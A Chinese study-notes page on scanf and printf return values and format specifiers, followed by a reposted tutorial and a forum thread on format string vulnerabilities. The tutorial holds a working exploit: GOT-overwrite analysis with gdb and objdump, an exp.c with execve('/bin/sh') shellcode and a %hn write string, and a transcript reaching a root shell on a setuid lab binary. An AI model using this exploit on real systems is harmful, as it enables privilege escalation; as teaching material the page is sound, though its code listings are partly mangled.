大一下学期遇到的问题,现在想起来把他搞明白………………
--------------------------------------------------------------------------------------------------------------------------------
这个是
_CRTIMP int __cdecl __MINGW_NOTHROW scanf (const char*, ...);
这是scanf函数的一般形式(百度百科):
scanf(格式控制,地址表列)
int scanf(char *format[,argument,...]);
“格式控制”的含义同printf函数;“地址表列”是由若干个地址组成的表列,可以是变量的地址,或字符串首地址。
--------------------------------------------------------------------------------------------------------------------------------
这是在CSDN中江涛老师给的解释:
Return Value
Returns the number of fields successfully converted and assigned; the return value does not include fields that were read but not assigned. A return value of 0 indicates that no fields were assigned.
网址:http://student.csdn.net/space.php?uid=130423&do=thread&id=4790
这是网友添加的 返回值说明后半段
If format is a NULL pointer, the invalid parameter handler is invoked, as described in Parameter Validation. If execution is allowed to continue, these functions return EOF and set errno to EINVAL.
因为英语较差……所以又去别的地方查了查
--------------------------------------------------------------------------------------------------------------------------------
这是我找到的最清楚的scanf函数返回值说明
scanf的返回值有后面的参数决定
scanf("%d%d", &a, &b);
如果a和b都被成功读入,那么scanf的返回值就是2
如果只有a被成功读入,返回值为1
如果a和b都未被成功读入,返回值为0
如果遇到错误或遇到end of file,返回值为EOF。
且返回值为int型.
均用:
sign=scanf("%d %d",&a,&b);
printf("%d %d\n",a,b);
printf("%d\n",sign);
验证了
但是输入“a X”的时候 输出的sign为0
什么时候输出EOF? 在stdio.h中 宏定义为-1
按照说明,scanf函数只有在第一个参数为NULL(空指针)的情况下,才可能返回EOF,否则,返回成功格式化并赋值的参数个数(>=0)。
End Of File,在电脑的术语缩写通常为 EOF,在作业系统决定资料源无更多的资料可读取。
--------------------------------------------------------------------------------------------------------------------------------
这是某人博客上的文章 在此转一下
网址为:http://pooebepan.blog.sohu.com/88169963.html
scanf 函数的返回值反映的是按照指定的格式符正确读入的数据的个数。如果输入数据与指定格式不符,则会产生输入错误。遇到输入错误,scanf函数会立即终止, 返回已经成功读取的数据的个数。所以,通过scanf函数的返回值和指定输入数据的个数(由格式符决定)的比较,可以判断数据输入是否成功。下面的例子程 序中可以用到该函数的返回值:
#include
int main(void)
{
int a,b;
while(scanf("%d %d", &a, &b)!=EOF)//没有到文件的末尾遍一直去读,在此为死循环
{
printf("%d\n", a+b);
}
return 0;
}
--------------------------------------------------------------------------------------------------------------------------------
这个是scanf函数返回值得应用
网址为:http://blog.csdn.net/cssin/archive/2005/04/06/338034.aspx
先列出一段代码:
/* summing.c -- sums integers entered interactively */
#include
int main(void)
{
long num;
long sum = 0L; /* initialize sum to zero */
int status;
printf("Please enter an integer to be summed ");
printf("(q to quit): ");
status = scanf("%ld", &num);
while (status == 1) /* == means "is equal to" */
{
sum = sum + num;
printf("Please enter next integer (q to quit): ");
status = scanf("%ld", &num);
}
printf("Those integers sum to %ld.\n", sum);
return 0;
}
此代码算的是输入数之和,可以用scanf函数的返回值判断输入数是否合法,合法则加,不合法则跳出循环,结果为此前数的和。
--------------------------------------------------------------------------------------------------------------------------------
格式字符说明
%a,%A 读入一个浮点值(仅C99有效)
%c 读入一个字符
%d 读入十进制整数
%i 读入十进制,八进制,十六进制整数
%o 读入八进制整数
%x,%X 读入十六进制整数
%c 读入一个字符
%s 读入一个字符串,遇空格、制表符或换行符结束。
%f,%F,%e,%E,%g,%G 用来输入实数,可以用小数形式或指数形式输入。
%p 读入一个指针
%u 读入一个无符号十进制整数
%n 至此已读入值的等价字符数
%[] 扫描字符集合
%% 读%符号
附加格式说明字符表修饰符说明:
L/l 长度修饰符 输入"长"数据
h 长度修饰符 输入"短"数据
W 整型常数 指定输入数据所占宽度
* 表示本输入项在读入后不赋值给相应的变量
--------------------------------------------------------------------------------------------------------------------------------
关于scanf函数的其他问题 改天研究……啊 期末临近了……T_T
以上转自http://hi.baidu.com/%B0%D7%D6%E7%D0%C7%B9%E2/blog/item/e273992ea6169d321f308953.html
******************************************************************************************************
printf的返回值
#include
int main()
{
int i=43;
printf("%d",printf("%d",printf("%d",i)));
return 0;
}
由printf引起的格式化字符串漏洞
我们来看一个具有格式化字符串缺陷的程序 :
[mhmdanger@localhost formatstring]$ cat check.c
#include
#include
#include
int main(int argc, char *argv[])
{
char name[65];
strncpy(name, argv[1], 64);
name[64] = 0;
printf(name);
putchar('/n');
return 0;
}
[mhmdanger@localhost formatstring]$
gcc check.c -o check
#include
#include
#include
char pwd[] = "xYz357";
int main(int argc, char *argv[])
{
char name[65];
printf("pwd addr:[%p]/n", pwd);
strncpy(name, argv[1], 64);
name[64] = 0;
printf(name);
putchar('/n');
return 0;
}
然后编译运行#include
int main(int argc, char *argv[])
{
int i = 0;
printf("before i = [%d]/n", i);
printf("%s%n/n", argv[1], &i);
printf("after i = [%d]/n", i);
return 0;
}
#include
#include
int i = 0;
int main(int argc, char *argv[])
{
char buf[65];
strncpy(buf, argv[1], 64);
buf[64] = 0;
printf("before i = [%d]/n", i);
printf(buf);
printf("/nafter i = [%d]/n", i);
return 0;
}
[mhmdanger@localhost formatstring]$ cat vul.c
#include
#include
#include
char buf[32];
int main(int argc, char *argv[])
{
char path[257];
strncpy(path, argv[1], 256);
path[256] = 0;
strncpy(buf, argv[2], 31);
buf[31] = 0;
printf(path);
printf("/n");
return 0;
}
[mhmdanger@localhost formatstring]$
gcc vul.c -o vul
[mhmdanger@localhost formatstring]$ objdump -R vul vul: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 080496c0 R_386_GLOB_DAT __gmon_start__ 080496d0 R_386_JUMP_SLOT __gmon_start__ 080496d4 R_386_JUMP_SLOT strncpy 080496d8 R_386_JUMP_SLOT putchar 080496dc R_386_JUMP_SLOT __libc_start_main 080496e0 R_386_JUMP_SLOT printf
我们发现上面的输出中有个putchar,估计这个是printf("/n")这句被翻译成了putchar了,我们可以用gdb来验证一下:
[mhmdanger@localhost formatstring]$ gdb -q vul (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) disass main Dump of assembler code for function main: 0x080484040>: lea 0x4(%esp),%ecx 0x08048408 4>: and $0xfffffff0,%esp 0x0804840b 7>: pushl 0xfffffffc(%ecx) 0x0804840e 10>: push %ebp 0x0804840f 11>: mov %esp,%ebp 0x08048411 13>: push %ebx 0x08048412 14>: push %ecx 0x08048413 15>: sub $0x120,%esp 0x08048419 21>: mov %ecx,%ebx 0x0804841b 23>: mov 0x4(%ebx),%eax 0x0804841e 26>: add $0x4,%eax 0x08048421 29>: mov (%eax),%eax 0x08048423 31>: movl $0x100,0x8(%esp) 0x0804842b 39>: mov %eax,0x4(%esp) 0x0804842f 43>: lea 0xfffffef7(%ebp),%eax 0x08048435 49>: mov %eax,(%esp) 0x08048438 52>: call 0x80482ec 0x0804843d 57>: movb $0x0,0xfffffff7(%ebp) 0x08048441 61>: mov 0x4(%ebx),%eax 0x08048444 64>: add $0x8,%eax 0x08048447 67>: mov (%eax),%eax 0x08048449 69>: movl $0x1f,0x8(%esp) ---Type <return> to continue, or q <return> to quit--- 0x08048451 77>: mov %eax,0x4(%esp) 0x08048455 81>: movl $0x8049720,(%esp) 0x0804845c 88>: call 0x80482ec 0x08048461 93>: movb $0x0,0x804973f 0x08048468 100>: lea 0xfffffef7(%ebp),%eax 0x0804846e 106>: mov %eax,(%esp) 0x08048471 109>: call 0x804831c 0x08048476 114>: movl $0xa,(%esp) 0x0804847d 121>: call 0x80482fc 0x08048482 126>: mov $0x0,%eax 0x08048487 131>: add $0x120,%esp 0x0804848d 137>: pop %ecx 0x0804848e 138>: pop %ebx 0x0804848f 139>: pop %ebp 0x08048490 140>: lea 0xfffffffc(%ecx),%esp 0x08048493 143>: ret End of assembler dump. (gdb)
可以看出我们的printf("/n")函数确实被换成了putchar函数。于是我们就确定了需要改写的地址是0x080496d8, 只要把这个地址中的值改成我们的恶意代码在内存中的地址就可以让程序在调用printf("/n")时实际上把控制转移到我们的代码去执行。可是我们恶意 代码如何注入目标进程呢?也有多种方法,比如放在环境变量或传递给进程的参数中,或者通过进程需要的输入注入进去。在这里我们通过传递给进程的参数把恶意 代码放进去,由于argv[2]会被复制到buf中,所以通过argv[2]来注入代码,这样它在内存的地址很好确定了,用gdb可以看到buf的地址是0x8049720,这样我们就知道我们需要做的事情就是把0x080496d8这个内存单元(4bytes)中的值改写成0x8049720就ok了。分析了这么多,现在我们来写一个漏洞利用程序exp.c来攻击vul。
[mhmdanger@localhost formatstring]$ cat exp.c
#include
#include
char shellcode[] =
"/x31/xdb"
"/x8d/x43/x17"
"/xcd/x80"
"/x31/xd2"
"/x52"
"/x68/x2f/x2f/x73/x68"
"/x68/x2f/x62/x69/x6e"
"/x89/xe3"
"/x52"
"/x53"
"/x89/xe1"
"/x8d/x42/x0b"
"/xcd/x80";
int main (int argc, char *argv[])
{
int i;
char *av[4];
char buf[256];
memset(buf, 0, sizeof(buf));
strcpy(buf, "A/xd8/x96/x04/x08/AAAA/xd9/x96/x04/x08/AAAA/xda/x96/x04/x08"
"%8x%8x%8x%8x%8x%8x%219x%hn%119x%hn%1645x%hn");
av[0] = argv[1];
av[1] = buf;
av[2] = shellcode;
av[3] = NULL;
execve(av[0], av, NULL);
return 1;
}
编译后运行
[mhmdanger@localhost formatstring]$ ./exp ./vul
AؖAAAAٖAAAAږbf92bfd6 1f 1 83db7f1f2d0b7f1f000 41048238 41414141 4141sh-3.2$
从红色字可以确定我们 拿到了shell,但它并不是root shell,原因在于我们那个vul并未被setuid到root,利用下面的命令来设置
[mhmdanger@localhost formatstring]$ su -l root
口令:
[root@localhost ~]# cd ~mhmdanger
[root@localhost mhmdanger]# cd formatstring/
[root@localhost formatstring]# chown root ./vul
[root@localhost formatstring]# chmod u+s ./vul
[root@localhost formatstring]# ls -l
总计 108
-rwxrwxr-x 1 mhmdanger mhmdanger 5249 10-04 09:15 exp -rw-rw-r-- 1 mhmdanger mhmdanger 610 09-25 19:29 exp.c -rwxrwxr-x 1 mhmdanger mhmdanger 5011 09-25 18:19 printf -rw-rw-r-- 1 mhmdanger mhmdanger 241 09-25 18:19 printf.c -rwxrwxr-x 1 mhmdanger mhmdanger 4897 09-11 20:44 test1 -rw-rw-r-- 1 mhmdanger mhmdanger 178 09-11 20:44 test1.c -rw-rw-r-- 1 mhmdanger mhmdanger 324 09-09 16:01 test.c -rwxrwxr-x 1 mhmdanger mhmdanger 4929 08-26 14:07 var_args -rw-rw-r-- 1 mhmdanger mhmdanger 377 08-26 12:17 var_args.c -rwsrwxr-x 1 root mhmdanger 5093 09-25 19:02 vul -rw-rw-r-- 1 mhmdanger mhmdanger 262 09-25 19:02 vul.c [root@localhost formatstring]# exit logout [mhmdanger@localhost formatstring]$ ./exp ./vul AؖAAAAٖAAAAږbfcb3fd6 1f 1 83db7fbb2d0b7fbb000 41048238 41414141 4141sh-3.2# id uid=0(root) gid=500(mhmdanger) groups=500(mhmdanger) context=user_u:system_r:unconfined_t sh-3.2#
哈,root权限拿到了
对于上面那个exp.c我们说明几点
1, shellcode中存放的是二进制代码,其作用是设置进程的uid=0然后执行/bin/sh。由于vul在 被普通用户执行其euid=0,所以我们可以成功设置其uid=0,再由于execve执行新程序后其uid和euid都不会改变,所以我们执行出来的 shell也就具有了root权限。
2,exp.c中我们构造的字符串为"A/xd8/x96/x04/x08/AAAA/xd9/x96 /x04/x08/AAAA/xda/x96/x04/x08%8x%8x%8x%8x%8x%8x%219x%hn%119x%hn %1645x%hn",我们利用了%hn而不是%n有两个原因:其一,在某些系统中printf函数一次如果打印过多字符则会出现异常,所以我们只能利用 多次写入的方法;其二,%hn一次写两个字节,这样可以不破坏内存中的其它值。
以上转自http://blog.csdn.net/habla/article/details/1787490
lingyunfei (凌云飞) 于 (Tue Jun 5 21:38:26 2012) 在
【[讨论]腾讯面试时,面试官提出的一道题。】 的大作中提到:
char *p="%s";
printf(p);
问这段程序有什么问题。
我回答的,感觉面试官不太满意。
☆─────────────────────────────────────☆
FxxkMyLife (Gin) 于 (Wed Jun 6 09:04:24 2012) 在
【Re: [讨论]腾讯面试时,面试官提出的一道题。】 的大作中提到:
【 在 lingyunfei 的大作中提到: 】
: char *p="%s";
: printf(p);
: 问这段程序有什么问题。
: ................:
printf传入%s后程序原本会打印出字符串。但是由于可变叁中并没有传入后面的参数,读的地址和里面数据不可预料。
☆─────────────────────────────────────☆
in355hz (沒代碼沒真相) 于 (Wed Jun 6 14:27:41 2012) 在
【Re: [讨论]腾讯面试时,面试官提出的一道题。】 的大作中提到:
输出 "%s", 相当于 printf(p, p), printf 取第二个参数直接拿到了栈上的 p
因为是 _cdecl, 栈也不会乱掉
如果 p 是外面传的,会有缓冲区溢出的问题
☆─────────────────────────────────────☆
Vfh (dudu) 于 (Wed Jun 6 14:47:55 2012) 在
【Re: [讨论]腾讯面试时,面试官提出的一道题。】 的大作中提到:
请搜索“格式化字符串缺陷”
☆─────────────────────────────────────☆
lsqcomput (circlewood) 于 (Wed Jun 6 17:21:18 2012) 在
【Re: [讨论]腾讯面试时,面试官提出的一道题。】 的大作中提到:
经过验证(32bit X86 linux gcc)
它总是输出(sp+4)位置的值,而且不管你是"%s"还是"%d"还是"%c",也即arg2应该在
的位置的值,不过有一点却是不太明白,p并没有在arg1位置上,而是在arg2与return
address中间的某个位置上。
研究了好久,顺带学习了一下X86汇编,GDB调试,还研究了下printf()的实现,顺带还
有可变个数参数函数的实现va_start之类。。。
这一个简单的程序涉及的东西还蛮多的,收获挺大~~
☆─────────────────────────────────────☆
in355hz (沒代碼沒真相) 于 (Wed Jun 6 21:07:17 2012) 在
【Re: [讨论]腾讯面试时,面试官提出的一道题。】 的大作中提到:
C 调用是从右到左入栈的, 所以 arg2 先入栈, arg1(p) 后入栈, ret 最后